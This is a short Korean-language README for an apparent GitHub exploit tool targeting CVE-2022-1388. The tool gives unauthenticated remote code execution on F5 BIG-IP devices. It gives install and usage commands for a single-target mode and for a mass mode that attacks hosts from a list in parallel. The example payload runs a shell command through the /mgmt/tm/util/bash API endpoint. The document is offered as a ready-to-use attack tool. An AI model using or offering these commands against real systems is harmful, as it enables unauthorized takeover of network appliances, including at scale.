revanmalang/cve-2022-1388CVE-2022-1388을 대상으로 하는 Python 기반 익스플로잇으로, 조작된 API 요청을 통해 F5 BIG-IP 장치에서 인증 없이 원격 코드 실행이 가능하며, 단일 및 대량 대상 모드를 지원합니다.
python3 -m pip install -r requirements.txt
단일 :
python3 cve.py s [fullurl] [api_command]
#예시
python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '{"command":"run","utilCmdArgs":"-c id"}'
대량 :
python3 cve.py m [host list] [endpoint] [api_command] [pool]
#예시
python3 cve.py m host.txt /mgmt/tm/util/bash '{"command":"run","utilCmdArgs":"-c id"}' 10